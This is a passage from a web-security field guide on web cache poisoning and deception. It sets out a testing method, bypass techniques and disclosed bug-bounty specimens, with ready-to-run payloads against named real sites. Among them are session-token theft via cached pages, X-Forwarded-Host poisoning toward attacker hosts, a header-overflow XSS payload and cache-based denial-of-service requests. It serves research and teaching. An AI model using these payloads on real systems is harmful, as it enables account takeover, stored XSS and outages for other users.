⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Vulnerabilities/Web Cache Poisoning & Deception
Vulnerabilities

Web Cache Poisoning & Deception

§Basic information

A shared cache (CDN, edge, reverse proxy) stores one response and hands it to everyone whose request maps to the same cache key. The key is a subset of the request — usually method + host + path, and maybe a few headers/params. Everything the origin actually uses to build the response but the cache doesn't key on is an unkeyed input, and every web-cache bug is that same disagreement: the cache thinks two requests are equivalent when the origin would answer them differently.

Two families fall out of this. Web Cache Deception (WCD) tricks the cache into storing a victim's personalized/authenticated response under a key the attacker can fetch — so session cookies, PII, and CSRF tokens leak to anyone. Web Cache Poisoning (WCP) injects an attacker-controlled value through an unkeyed input into a shared key, so the poisoned response (stored XSS, open redirect, or an error page — CPDoS) is served to every subsequent user. WCD reads secrets out; WCP writes attacker content in.

§Methodology

  1. Detect the cache. Look for X-Cache: HIT/MISS, CF-Cache-Status, Age:, X-Served-By, Cache-Control. Send a request twice and watch a HIT appear.
  2. Always cache-bust first. Append a unique junk query param (?cb=UNIQ) so your experiments poison your own key, not real users. Only drop the buster once the PoC is proven.
  3. For WCD: take a personalized page and append a static-looking suffix (/x.css, /x.js, /x.jpg). If it still returns 200 with the victim's data and becomes cacheable, fetch it anonymously and grep for the leak.
  4. For WCP: enumerate unkeyed inputs (headers/params) — send a value and grep the body/links/redirects for its reflection. Anything reflected but absent from the key is a poisoning primitive.
  5. Confirm cacheability. Replay the request without the injected input under the same key; if the poison persists (HIT), the shared key is poisoned.
  6. Escalate the leak/poison — session/CSRF token → ATO, host reflection → XSS/redirect, normalization mismatch → cached error → DoS.
# Cache tells — send twice, second should HIT curl -sD- -o /dev/null 'https://TARGET/path?cb=UNIQ' curl -sD- -o /dev/null 'https://TARGET/path?cb=UNIQ' | grep -iE 'x-cache|cf-cache|age:'
▸ TIP
The single controlling question for the whole class is: do the cache and the origin agree on the key and on the response? WCD is a response-sensitivity disagreement (cache thinks it's static, origin made it personal); WCP is a keying disagreement (origin varies on an input the cache ignores). Find the disagreement and you have the bug.

§Web Cache Deception (WCD)

The origin serves a personalized 200 for a URL the cache mistakes for a static asset (keying on the file extension, not the real Content-Type). Lure the authenticated victim to the trap URL; their private response gets cached; you fetch the same URL with no cookies.

Static-extension path confusion

Append a fake filename with a cached extension to an authenticated page. The origin ignores the extra path segment and renders the personalized page; the edge caches it as static.css.

# 1) victim (authenticated) is lured to open: https://TARGET/account/profile/x.css # 2) attacker fetches the cached copy with NO cookies: curl -s 'https://TARGET/account/profile/x.css' | grep -Ei 'csrf|email|session|username'

Battery of suffixes to try — CDNs cache different sets: .css, .js, .jpg, .jpeg, .png, .gif, .txt, .ico, .svg, .woff. 200 OK caches longest, so prefer endpoints that return 200 with the token in-body.

Grep the cached body for auth material, not just PII

The escalation from info-leak to account takeover is which string you grep for. A cached email is a leak; a cached session cookie or CSRF token is an ATO. Always search the cached response for both.

# a reflected session token in the cached HTML → cookie replay → ATO curl -s 'https://TARGET/search/.../minNightlyPrice/x.jpeg?cb=1' --compressed | grep -i 'SESSION' # then replay it: curl -s 'https://TARGET/account/edit' -H 'Cookie: SESSION=<stolen>'

Some file/blob/avatar routes emit Cache-Control: public and a Set-Cookie in the same response, with no Vary: Cookie. A shared proxy caches the session cookie and hands it to unrelated users — no path trick needed, the header combo alone leaks sessions. (Rails Active Storage >= 5.2.0, < 7.1.0, CVE-2024-26144, is a framework-level instance.)

HTTP/1.1 200 OK Cache-Control: public Set-Cookie: _session_id=<VICTIM_SESSION>; path=/ # a caching proxy stores and replays this Set-Cookie to the next visitor
▲ WARNING
WCD requires the trap URL to reach the shared cache keyed the way the victim's normal request would be, and the victim must actually visit it. If the cache keys on cookies, or serves private, or the extension isn't in its static ruleset, there is no bug — confirm the anonymous fetch returns X-Cache: HIT with the victim's data still in the body before claiming impact.

§Web Cache Poisoning (WCP)

The origin reflects an unkeyed input into the response; the cache stores it and serves it to everyone. Develop the poison under a private buster key, then drop the buster to hit the shared key.

X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Port, X-Forwarded-Url, X-Host, or raw Host/port frequently get reflected into absolute asset URLs, form actions, or a Location redirect — while the cache keys only on the path. Poison it and every visitor loads scripts/links from your host.

GET /path?cb=UNIQ HTTP/1.1 Host: TARGET X-Forwarded-Host: COLLAB X-Forwarded-Scheme: nothttps X-Forwarded-Port: 1 # grep the response for COLLAB / port 1 in <script src>, <link href>, or Location:
# loop until the poison is stored under the buster key, then confirm: while true; do wget "https://TARGET/?cb=UNIQ" --header 'X-Forwarded-Host: COLLAB/#' -qO- >/dev/null; done wget "https://TARGET/?cb=UNIQ" -qO- | grep COLLAB # trailing /# neutralizes the rest of the URL

Cache-key normalization mismatch → CPDoS

When the edge and origin canonicalize a path differently, one collapses a character the other rejects — so a 404/error gets stored under a valid asset's key (self-inflicted denial of service). Diff how each side handles backslash-vs-slash, trailing dot, case, encoded chars, port.

GET /static\javascripts\vendor\app.min.js?cb=UNIQ HTTP/1.1 Host: cdn.TARGET.com Connection: close # edge rewrites \ → / (keys on the real asset) but origin 404s the backslash path # → the 404 is cached under the legit JS bundle's key

Method/verb & special-header desync

Edge and origin disagree on a request modifier, caching an empty or error body under a GET key. X-HTTP-Method-Override: HEAD caches an empty-body 200; PURGE, the trailer header, or vendor headers like X-CF-APP-INSTANCE force a cached 4xx.

GET /app.js?cb=UNIQ HTTP/1.1 Host: TARGET X-HTTP-Method-Override: HEAD # origin serves empty body; edge caches it under the GET key → asset breaks for all users

Reflected Origin in CORS headers, cached

If the origin reflects the request Origin into Access-Control-Allow-Origin and that response is cacheable, the cache pins one origin's ACAO for everyone — either breaking cross-origin clients (DoS) or, if null/attacker origin sticks, enabling cross-origin reads.

GET /api/data HTTP/1.1 Host: TARGET Origin: https://COLLAB # response: Access-Control-Allow-Origin: https://COLLAB ← cached and cross-served
● NOTE
The poison only sticks if the reflected input is genuinely unkeyed. Verify by replaying the request with the injected header removed and the same buster: a persistent poisoned body (X-Cache: HIT) proves the header is not in the key. If removing it changes the response, the cache is keying on it — no poisoning.

§Bypasses

Filter / controlBypassSeen in
Literal slash blocked in path confusiondouble/URL-encoded slash %25%32%46%2F/ reintroduces WCD#1271944
Edge/origin path canonicalizationbackslash \ collapsed to / by edge but 404'd by origin → cached error#1695604
Distinct hosts, distinct keysURL-decoded userinfo before @ smuggles %2f/%3f into the key → host collision#824753
Injected host bleeds into URL pathtrailing /# on X-Forwarded-Host neutralizes the rest of the URL#429747
WAF + cache-key both stop at a limitpad ≥94 request headers so the trailing keyed/inspected header falls off#3027461
Testing would DoS real usersunique cache-buster query param scopes the poison to your own key#1010858
Reflected-param sanitizerURL-encoded NUL byte + oversized value in a reflected param poisons cached JS#334709
Response looks non-cacheableX-HTTP-Method-Override: HEAD caches an empty-body 200; trailer forces a cached 400#2860983, #1219038
Extension not in static rulesetREQUEST_URI-vs-canonical-path mismatch caches a personalized page#241323

§Escalation & impact

Cache bugs are hubs, not endpoints — the leaked/poisoned primitive chains into whatever the reflected value can reach:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 36 in this class.

Real-world example

Web cache deception to account takeover via session token reflected on cacheable page

◆ High
Specimen #1698316 · expediagroup_bbp · awarded · 158 votes · resolved
Program expediagroup_bbpSurface webChain WCD path confusion -> cached session token -> cookie rTag account-takeover

Root cause

An authenticated page reflected the user's session cookie (HASESSIONV3) into its HTML body, and the edge cached responses purely on the static file extension in the path. Luring a victim to a .jpeg-suffixed variant of that page caches their session token, which the attacker then retrieves anonymously.

Method

  1. Find an authenticated response that reflects a session token / CSRF crumb in the body.
  2. Append a static-looking extension via path confusion to make the edge treat the response as cacheable (e.g. .../minNightlyPrice/x.jpeg?triagethis).
  3. Lure the authenticated victim to open that URL so their token is cached.
  4. From any other browser/IP served by the same cache, fetch the same URL and grep the response for the session token, then reuse it.
# victim opens (authenticated): https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis # attacker fetches the cached copy: curl 'https://www.abritel.fr/search/keywords:soissons-france-(xss)/minNightlyPrice/x.jpeg?triagethis' --compressed | grep -i 'HASESSIONV3' # then replay the stolen cookie: GET /traveler/profile/edit HTTP/2 Host: www.abritel.fr Cookie: HASESSIONV3=<stolen token>

Insight — WCD escalates from info-leak to full ATO whenever the cached page reflects a live session token or auth crumb. Always grep cached WCD responses for cookies/CSRF tokens, not just PII. 200 OK responses cache longest, so aim for endpoints that return 200 with the token in-body.

Real-world example

x-http-method-override + PURGE cache poisoning -> empty JS/CSS on CDN

◆ High
Specimen #1160407 · gitlab · awarded · 83 votes · resolved
Program gitlabSurface webTag cloud-gcp

Root cause

The GCP-backed CDN honors x-http-method-override: HEAD (returning an empty body) while Varnish does not include that header in the cache key, so the empty response is cached and served to normal GETs; unauthenticated PURGE lets an attacker clear real cached files and re-poison them.

Method

  1. Pick a cached JS/CSS asset (confirm X-Cache: HIT)
  2. Send GET ...?cb=x with x-http-method-override: HEAD -> empty response, now cached
  3. Confirm normal GET of that URL returns empty; use PURGE to evict/repoison live files
  4. Missing JS/CSS makes the app unusable
GET /assets/webpack/....chunk.js?cb=x HTTP/1.1 Host: assets.gitlab-static.net x-http-method-override: HEAD

Insight — Method-override headers and permitted PURGE/HEAD verbs are underrated cache-poisoning inputs: they can cache an empty 200. Test x-http-method-override, and check whether PURGE is unauthenticated (lets you poison live, already-cached files).

Real-world example

Cacheable response carrying Set-Cookie leaks sessions across users

◆ High
Specimen #3082917 · ibb · USD 4323 · 82 votes · resolved
Program ibbSurface webChain cacheable blob response with Set-Cookie -> proxy caches s

Root cause

Rails Active Storage served blobs with both a Set-Cookie (user session) and Cache-Control: public (CVE-2024-26144); a shared caching proxy stores the response including the session cookie and later serves it to unrelated users, disclosing the original user's session.

Method

  1. Find responses that are both cacheable (Cache-Control: public / no Vary on cookie) and set a session cookie (Active Storage blob URLs, avatar/file endpoints)
  2. Request the resource as an authenticated user through the shared cache
  3. Fetch the same URL as an unrelated/anon user; check whether the cached Set-Cookie returns the first user's session
  4. If so, session hijack the original user
# tell-tale response headers on a blob/file endpoint HTTP/1.1 200 OK Cache-Control: public Set-Cookie: _session_id=<VICTIM_SESSION>; ... # a caching proxy stores and replays Set-Cookie to other users

Insight — Audit for the dangerous combo Set-Cookie + Cache-Control: public (and missing Vary) on any file/blob/avatar route - CDNs and proxies will cache and cross-serve the session cookie. This is a framework-level class (check Active Storage versions >=5.2.0 <7.1.0).

Real-world example

HTTP header-count overflow bypasses cache-key eval and WAF

◆ High
Specimen #3027461 · cloudflare · awarded · 74 votes · resolved
Program cloudflareSurface webChain header overflow -> cache-key bypass -> web cache poisoTag cors

Root cause

The edge (openresty Front Line) parses at most ~100 request headers including internal ones; once a request exceeds ~94 attacker headers, subsequent keyed headers are dropped from cache-key evaluation and WAF rules stop seeing later headers, so a keyed/malicious header slips through unkeyed and uninspected.

Method

  1. Send a request padded with 94+ junk headers
  2. After the overflow, append a header that is normally part of the cache key (e.g. X-HTTP-Method-Override) or one carrying an XSS/attack payload (User-Agent)
  3. Cache Rules / custom + default cache keys and WAF managed rules no longer evaluate the trailing header
  4. Poison the cache so the malicious/incorrect response is served to other users, or reach origin uninspected
GET /path HTTP/1.1 Host: victim.com 1: 1 1: 1 ... (>=94 padding headers) ... 1: 1 User-Agent: </script><svg onload=alert(1)>

Insight — Header/parameter parser limits are a differential-analysis goldmine: if a security layer and the cache/origin disagree on how many headers get parsed, pad past the limit to smuggle an unkeyed or uninspected header. Watch for http.request.headers.truncated as a tell.

Real-world example

Cache-poisoned DoS (CPDoS) via oversized/malformed request

◆ High
Specimen #1183263 · deptofdefense · none · 36 votes · resolved
Program deptofdefenseSurface web

Root cause

A caching layer stores the response to a malformed/oversized request (e.g. an enormous header value producing an error/oversized response) under a normal cache key, then serves that broken response to all subsequent users of that key.

Method

  1. Add a cache-buster to the path to isolate a cache key
  2. Send a request with a malformed/huge header value that yields an error or oversized response
  3. Confirm the response is cached (X-Cache / repeated identical response)
  4. Request the same resource normally and observe the poisoned/broken response served to everyone
GET /page?cb=1 HTTP/1.1 Host: www.target yeetheadertest1: AAAAAAAA...(thousands of A's to force an error/oversized response)...

Insight — Test caches by forcing an error or oversized response and checking if it gets cached. Remediation is to never cache error status codes. Complements keyed-header poisoning (see 1010858).

Real-world example

CPDoS via X-CF-APP-INSTANCE header forcing cached 404

◆ High
Specimen #728664 · gsa_bbp · awarded · 25 votes · resolved
Program gsa_bbpSurface webTag cloud-aws

Root cause

A Cloud Foundry gorouter debug header (X-CF-APP-INSTANCE) with a bad value forces a 404, and if the app sits behind a caching CDN that caches error responses, the poisoned 404 is served to other users (Cache-Poisoned DoS).

Method

  1. Pick a cacheable resource on a CDN-fronted app; add a cache-buster query (?cb=xxx)
  2. Send a request with a malformed X-CF-APP-INSTANCE header to force a gorouter 404
  3. Repeat until the CDN caches the 404
  4. Confirm as an uncookied/new user (private window or curl) that the resource now returns 404
GET /?cb=xxx HTTP/1.1 Host: TARGET X-CF-APP-INSTANCE: xxx:1 Connection: close

Insight — Any request header that reliably triggers an error status can become a DoS when the front cache stores error responses; test provider-specific debug/routing headers (X-CF-APP-INSTANCE, X-Amz-*, oversized headers) and check whether 4xx get cached and keyed only on URL, not cookies.

Real-world example

Web cache poisoning via unkeyed X-Forwarded-Host

◆ High
Specimen #429747 · nextcloud · none · 25 votes · resolved
Program nextcloudSurface webChain unkeyed header reflection -> cache poisoning -> stored

Root cause

X-Forwarded-Host is reflected into responses but is not part of the cache key (unkeyed input). An attacker can poison a cached page so it points resource URLs at an attacker-controlled host, enabling stored XSS / malware delivery to all subsequent visitors.

Method

  1. Pick a URL with a cache-buster query param
  2. Repeatedly request it with X-Forwarded-Host: attacker.tld/# until cached
  3. Fetch the URL normally and grep for the attacker host in the response to confirm the poison
while true; do wget "https://help.nextcloud.com/?qwKzzSR=649227948379" --header 'X-Forwarded-Host: cyberjutsu.io/#' -qO- >/dev/null; done # confirm: wget "https://help.nextcloud.com/?qwKzzSR=649227948379" -qO- | grep cyberjutsu.io

Insight — Send X-Forwarded-Host / X-Forwarded-Scheme / X-Host and check if the value is reflected AND cached without being in the cache key. Use a unique query param as a private cache-buster so you poison your own key first while testing.

Real-world example

Cached infinite redirect loop -> persistent DoS via crafted path

◆ High
Specimen #291012 · owox · none · 18 votes · resolved
Program owoxSurface web

Root cause

A crafted URL (double-slash + encoded traversal) triggers a server-side 301 that keeps appending a trailing slash, producing an infinite redirect loop; because the redirect is cached/served to everyone, the whole site becomes inaccessible.

Method

  1. Request the site with //host-like path + encoded traversal (%2e%2e%2f)
  2. Server responds 301 to a URL that will itself 301 again (loop)
  3. Response is cached -> all subsequent visitors hit the loop -> DoS
GET http://my.dev.owox.com//www.google.com/%2e%2e%2f -> 301 Location: //www.google.com/%2e%2e%2f/ (loops)

Insight — Path-normalization + redirect logic that re-appends slashes can create self-referential 301s; if a shared cache/proxy stores it, one request denies service to everyone. Test normalization edge cases (//, /%2e%2e%2f, encoded traversal) and whether the bad response is cached.

Real-world example

Cache-key confusion via URL userinfo decoding (Squid poisoning)

◆ High
Specimen #824753 · ibb · awarded · 14 votes · resolved
Program ibbSurface otherChain encoded userinfo -> shared cache key -> attacker conte

Root cause

Squid URL-decoded the userinfo portion (before @) and included the decoded string in the absolute URL used to build the cache key, so two requests for different real hosts could produce the same key - letting an attacker's server response be cached and served for a trusted domain.

Method

  1. Run a request whose userinfo encodes delimiters so it decodes to the victim URL, pointing the real host at your server
  2. Your response is cached under the victim's effective key
  3. A genuine request for the victim domain hits the poisoned cache entry (X-Cache: HIT)
GET ftp://hackerone.com%2f%3f@192.168.122.1:8080/payload HTTP/1.1 # later real: GET ftp://hackerone.com/?@192.168.122.1:8080/payload -> HIT # HTTPS variant: GET https://hackerone.com%2f%3f@ATTACKER:8080/html/alert.html

Insight — Cache-key generation that decodes/normalizes URL parts (userinfo, %2f, %3f, #) differently from routing is a poisoning primitive; craft userinfo whose decoded form collides with the target's key. Test proxies/CDNs for encoded-delimiter cache-key confusion.

Real-world example

CPDoS: unkeyed Host-header port poisons cached 301

◆ High
Specimen #1322732 · deptofdefense · none · 11 votes · resolved
Program deptofdefenseSurface web

Root cause

The cache stores a 301 redirect that reflects an attacker-supplied port from the Host header; because the port is unkeyed, a poisoned redirect is served to all users of that path, and a cache-buster query param lets the attacker poison arbitrary paths -> persistent DoS.

Method

  1. Add a unique cache-buster param to a cacheable URL (e.g. &CPDoS=1)
  2. Send the request with a bogus port appended to the Host header (Host: victim:1234)
  3. The 301 reflects and caches the bad port; remove the port and resend -> still reflected = poisoned; the path now fails to load for everyone
  4. Loop with Intruder to keep re-poisoning after TTL
GET /somepath?CPDoS=1 HTTP/1.1 Host: TARGET:1234 # response is a 301 reflecting :1234, cached and served to all users

Insight — Web-cache-poisoning DoS: find inputs the cache doesn't key on but the origin reflects (Host/port, X-Forwarded-Host/-Scheme/-Port). 301/redirect responses reflecting the Host are prime; add a unique query param to safely poison a single path during testing, then generalize. Re-test old fixes that only patched one path.

Real-world example

Cache-poisoned DoS via unkeyed Host header/port reflected in a 301

◆ High
Specimen #1198434 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webChain host-header reflection -> web cache poisoning -> denia

Root cause

An origin reflects the Host header (domain/port) into a 301 redirect, and the cache stores that response keyed only by path; injecting a bogus port poisons the cached redirect so every user hitting that path is redirected to a dead host:port - CPDoS.

Method

  1. Find a path that 301-redirects and reflects the Host/port in the Location
  2. Send the request with an added random URL param (to scope the poison to that path) and a bogus port in the Host header
  3. Server 301s reflecting the bad port; resend to confirm the cache now serves the poisoned redirect to everyone
  4. Drop the random param to poison the bare path
GET /somepath?CPDoS=1 HTTP/1.1 Host: www.TARGET:1234 # response 301 reflects port 1234 in Location; once cached, all users get the dead redirect

Insight — During SSRF/host-header testing watch for the Host (or X-Forwarded-Host/-Port/-Scheme) leaking into a cached response. If the cache key excludes that header, you have web-cache-poisoning DoS. Scope experiments to a throwaway ?param path first so you can test responsibly before hitting the bare route.

Real-world example

Cache-poisoning DoS via malformed Transfer-Encoding

◆ Medium
Specimen #622122 · paypal · 9700 · 850 votes · resolved
Program paypalSurface web

Root cause

An unkeyed request feature (invalid Transfer-Encoding header) causes the origin/CDN to cache an error response ('501 Not Implemented') in place of legitimate JavaScript, denying it to all users.

Method

  1. Identify a cached static asset (JS from a CDN host like paypalobjects.com)
  2. Send a request with an invalid Transfer-Encoding header that the origin errors on but the cache still stores
  3. Confirm the cached 501 is served to normal requests for that asset
GET /js/app.js HTTP/1.1 Host: www.paypalobjects.com Transfer-Encoding: invalid

Insight — Any header that changes the origin response but is NOT part of the cache key is a cache-poisoning DoS primitive. Malformed hop-by-hop headers (Transfer-Encoding) reliably force error responses that then get cached and starve real content.

Real-world example

CORS cache poisoning DoS (Origin reflected into ACAO)

◆ Medium
Specimen #591302 · automattic · awarded · 405 votes · resolved
Program automatticSurface webTag cors

Root cause

WP-JSON echoes the request Origin into Access-Control-Allow-Origin, and the CDN caches that response without keying on Origin. The poisoned ACAO (attacker's origin) is served to real cross-origin consumers, whose browsers then block the response -> CORS-based DoS.

Method

  1. Confirm the JSON endpoint reflects Origin into ACAO and is cached (X-Cache: hit)
  2. From any HTTPS page, fetch the endpoint 5-10 times to poison all cache backends
  3. From a different origin, fetch again and observe the browser CORS error blocking the response
fetch('https://TARGET/wp-json/?cachebuster1').then(r=>r.json()) // sent with Origin: https://attacker.example so ACAO is poisoned to attacker's origin

Insight — Reflected-Origin CORS + shared cache = DoS for any legitimate cross-origin (subdomain/headless) consumer. Detect by sending an Origin header and checking if it appears in a cacheable ACAO response.

Real-world example

CDN cache poisoning DoS via backslash/forward-slash normalization mismatch

◆ Medium
Specimen #1695604 · shopify · USD 3800 · 264 votes · resolved
Program shopifySurface webTag cdn

Root cause

The cache layer normalizes backslashes to forward slashes when computing the cache key, but the origin serves 404 for paths containing backslashes. The two systems therefore agree on the cache key but disagree on the response, so a 404 gets stored under the legitimate asset's key.

Method

  1. Pick any cached static asset URL on the CDN (e.g. a JS bundle on cdn.shopify.com).
  2. Replace the forward slashes in the path with backslashes and append a cache-buster query param so testing does not DoS real users.
  3. Send the malformed request repeatedly (Repeater/Intruder) until the 404 response is cached under that key.
  4. Request the normal URL (with the same cache-buster) and observe the cached 404 served instead of the asset.
GET /static\javascripts\vendor\bugsnag.v7.4.0.min.js?cachebuster=123 HTTP/1.1 Host: cdn.shopify.com Connection: close

Insight — When a cache and origin disagree on path normalization (backslash vs slash, trailing dot, case, encoded chars), you can cache an error page under a valid resource's key for a self-inflicted DoS. Diff how the edge vs origin canonicalize the path; any char one collapses and the other rejects is a poisoning primitive.

Real-world example

X-Forwarded-Port/Host cache poisoning to dead port

◆ Medium
Specimen #409370 · security · 2500 · 253 votes · resolved
Program securitySurface web

Root cause

The app builds redirect Location URLs from unkeyed X-Forwarded-Port/X-Forwarded-Host headers; poisoning the cache with a bad port makes every redirect point to a dead port, persistently blocking access.

Method

  1. Find a cached endpoint that issues a redirect
  2. Send a request with X-Forwarded-Port set to a closed port (or X-Forwarded-Host: host:badport)
  3. Load the URL normally and observe the cached redirect to the dead port
curl -H 'X-Forwarded-Port: 123' 'https://TARGET/index.php?cb=1' curl -H 'X-Forwarded-Host: TARGET:123' 'https://TARGET/index.php?cb=1'

Insight — X-Forwarded-* headers are classic unkeyed cache-poisoning inputs. If they influence redirect targets or absolute URLs, a bad port/host is a persistent availability kill. Always test them with a cache-buster first.

Real-world example

Cache poisoning at scale via unkeyed header -> cached redirect/error on static files

◆ Medium
Specimen #1181946 · security · awarded · 228 votes · resolved
Program securitySurface webTag cloud-azure

Root cause

An unkeyed header (x-forwarded-scheme) makes the origin emit a 301 redirect loop that Cloudflare caches for a static JS/CSS/image file; the poisoned entry is served to everyone, taking down assets and any page that depends on them.

Method

  1. Pick a cached static asset (append ?cb=poc cache-buster)
  2. Send GET with x-forwarded-scheme: http and observe a 301 to the same URL
  3. Remove the header and confirm the cached 301/redirect-loop is now served
  4. On the real file (no cache-buster) this makes the asset permanently unavailable
GET /assets/static/js/8.9572d249.chunk.js?hackerone=poc HTTP/2 Host: hackerone.com x-forwarded-scheme: http

Insight — Behind CDNs, protocol/scheme headers (x-forwarded-scheme, x-forwarded-proto) frequently trigger cacheable redirects. Taking down one shared JS chunk = total loss of availability. Enumerate every unkeyed header against cached assets.

Real-world example

Host-header port cache poisoning -> broken assets DoS

◆ Medium
Specimen #1096609 · shopify · 2900 · 81 votes · resolved
Program shopifySurface web

Root cause

The app reflects the Host header (including an arbitrary port) into cached absolute URLs (canonical link, asset/link hrefs); poisoning the cache with a closed port makes all those URLs point to a dead port, so images/CSS/links fail to load.

Method

  1. Request a cached page with Host set to host:closedport (use a query cache-buster while testing)
  2. Confirm the response body reflects host:closedport in canonical/asset URLs
  3. Fetch the page normally and observe the poisoned port served to everyone -> broken page
curl -ik 'https://themes.shopify.com/?cb=1' -H 'Host: themes.shopify.com:1337'

Insight — When Host (with port) is reflected into absolute URLs that get cached, a bad port is a persistent asset/link DoS. Related to X-Forwarded-* port poisoning; always test the raw Host header too, not just XF headers.

Real-world example

Cache-poisoning DoS via unkeyed 'trailer' header forcing a cached 400

◆ Medium
Specimen #1219038 · rockstargames · awarded · 77 votes · resolved
Program rockstargamesSurface web

Root cause

An unkeyed request header (trailer) makes the origin return a 400 while the CDN caches that error response against the normal cache key, so subsequent legitimate users are served the cached 400 (denial of service).

Method

  1. Add a cache-buster query param to target a specific cached URL
  2. Send the request with the malformed/unkeyed header 'trailer: 1' to trigger a 400
  3. The CDN caches the 400 under the URL key
  4. Legit users requesting that URL now get the poisoned 400
GET /patches/.../notes.txt?donotpoisoneveryone=1 HTTP/1.1 Host: updates.rockstargames.com trailer: 1

Insight — Hunt cache-poisoning DoS by fuzzing unkeyed headers (X-Forwarded-Host/-Scheme, trailer, oversized/odd headers) that make the origin error, then confirm the error is cached under the shared key. Use a unique cache-buster to avoid poisoning real users during testing.

Real-world example

Web cache deception via static-extension path on authenticated page

◆ Medium
Specimen #631589 · lyst · awarded · 45 votes · resolved
Program lystSurface webChain cache deception -> PII/session data disclosure (email, meTag account-takeover

Root cause

Appending a static-looking extension (e.g. .css) to an authenticated URL made the CDN/cache treat the personalized (logged-in) response as a cacheable static asset, storing a victim's PII/session-reflected page for any unauthenticated visitor to retrieve.

Method

  1. As a logged-in victim, request an authenticated page with a static extension appended to the path
  2. The cache stores the personalized response keyed on the static-looking URL
  3. As an unauthenticated attacker (even in private mode) request the same URL and read the victim's data
https://TARGET/shop/trends/mens-dress-shoes/anything.css # personalized (logged-in) HTML gets cached and served to others

Insight — Test cache deception on any personalized page: append /nonexistent.css, .js, .jpg (and path-param variants). If the response still contains user data and is cached, unauthenticated users can harvest it. Check for missing/incorrect Cache-Control and cache-key normalization.

Real-world example

Web cache poisoning via unkeyed X-Forwarded-Host

◆ Medium
Specimen #504514 · smule · none · 39 votes · resolved
Program smuleSurface webChain unkeyed header reflection -> cache poisoning -> victimTag account-takeover

Root cause

The app reflected the X-Forwarded-Host header into generated action/footer/form links, and the cache did not key on that header, so a poisoned response (links rewritten to an attacker host) was cached and served to other users, redirecting their form posts (and CSRF tokens/credentials) to the attacker.

Method

  1. Send a request adding X-Forwarded-Host: attacker.tld and confirm the response's action/form/asset links now point to attacker.tld
  2. Confirm the poisoned response is cached (served to other clients on the same key)
  3. Host a server mimicking the endpoint's response/CORS so victim form posts deliver credentials/CSRF token to you
GET /s/smule_groups/user_groups/USER HTTP/1.1 Host: www.TARGET.com X-Forwarded-Host: localhost # links in response rewritten to this host

Insight — Probe unkeyed headers (X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Forwarded-For) for reflection into links/redirects/absolute URLs, then check cacheability. If reflected and cached, you poison other users' pages to steal CSRF tokens/credentials on login.

Real-world example

Bypassing Cloudflare Cache Deception Armor with .avif extension

◆ Medium
Specimen #1391635 · cloudflare · awarded · 36 votes · resolved
Program cloudflareSurface webTag cdn

Root cause

Cloudflare's Cache Deception Armor page rule (which is meant to only cache a URL when the origin Content-Type matches the extension) did not account for the .avif image extension, so a path-confused URL ending in .avif was cached even when the response was dynamic/sensitive.

Method

  1. Identify an origin behind Cloudflare with Cache Deception Armor enabled.
  2. Craft a path-confusion URL on a sensitive authenticated endpoint ending in a .avif extension.
  3. Lure an authenticated victim to open it so the edge caches their sensitive (normally non-cacheable) response.
  4. Retrieve the cached content from Cloudflare's edge anonymously.
https://TARGET/<authenticated-path>/<random>.avif

Insight — Protection layers that whitelist 'safe' static extensions lag behind new image/media formats. When a WCD armor blocks .css/.js/.png, retry newer or obscure extensions (.avif, .webp, .heic, .jxl, .woff2) that the rule's Content-Type map may not cover. Impact scales with what the customer origin reflects (session -> ATO, XSS -> stored XSS).

Real-world example

URL-encoded NUL in reflected param + oversized injection → poisoned cached JS → DoS

◆ Medium
Specimen #334709 · greenhouse · awarded · 32 votes · resolved
Program greenhouseSurface webChain %00 truncation → oversized reflected URI → CDN cache poisoni

Root cause

The 'for' parameter is copied verbatim into a generated, CDN-cached JS file; terminating the customer key with %00 lets an attacker append a very large arbitrary string that is propagated into boardURI/applicationURI. The oversized cached URIs then exceed the server's URL limit (ERR_CONNECTION_CLOSED), bricking the job board for all visitors from the poisoned cache.

Method

  1. Request the JS endpoint with for=<validkey>%00<thousands of padding chars>
  2. Injected NUL truncates the key server-side but the padding is still reflected into boardURI/applicationURI in the generated JS
  3. This JS is cached on the CDN; the poisoned applicationURI (~6155 bytes) makes the job-app iframe URL exceed the server limit → ERR_CONNECTION_CLOSED for every user loading the cached file
https://boards.greenhouse.io/embed/job_board/js?for=surveymonkey%00%00%00...%00654321 # %00 truncates key, padding poisons cached JS

Insight — A URL-encoded %00 can pass a length/format validator while later string handling truncates at the NUL, letting you smuggle extra bytes into a reflected value; combine with a shared cache to convert reflection into a persistent DoS. Watch reflected params that end up in cached, length-sensitive URLs.

Real-world example

Web cache poisoning via unkeyed X-Forwarded-* headers

◆ Medium
Specimen #1010858 · acronis · awarded · 29 votes · resolved
Program acronisSurface webChain Unkeyed header reflection -> cache poisoning -> DoS /

Root cause

The cache key excludes headers the origin actually reflects (X-Forwarded-Port, X-Forwarded-Url). Poisoning a response with these unkeyed inputs (using a unique cache-buster param first) makes the cache serve the malformed/injected response to all users of the real URL.

Method

  1. Add a unique cache-buster query param to isolate a key
  2. Send X-Forwarded-Port / X-Forwarded-Url with a poisoning value; confirm it's reflected (e.g. host:0 appears)
  3. Send the same request WITHOUT the buster/headers until the poisoned entry is stored on the real key
  4. Other users hitting the clean URL now receive the poisoned response
GET /path?cachebuster=1 HTTP/1.1 Host: www.target X-Forwarded-Port: <injection> X-Forwarded-Url: <injection> # then replay clean GET /path to poison the shared key

Insight — Enumerate unkeyed inputs with Param Miner (X-Forwarded-Host/Port/Url/Scheme, etc.); if the origin reflects one that isn't in the cache key, you can poison. DoS at minimum, XSS/redirect if the reflection is exploitable.

Real-world example

Web cache poisoning via unkeyed Host header -> DoS

◆ Medium
Specimen #1346618 · gsa_vdp · none · 18 votes · resolved
Program gsa_vdpSurface web

Root cause

The cache keys on path/query but not on the Host header. A request with an attacker-controlled Host (here host:port) is reflected into the app's behavior and cached, so subsequent victims are served a response that forces the app to make requests to the attacker-supplied host:port - breaking the page for everyone hitting that cache key.

Method

  1. Find a cached page (X-Cache/age headers); pick a cache-buster query so you test without poisoning prod
  2. Send request with an injected Host header (e.g. Host: target:8888)
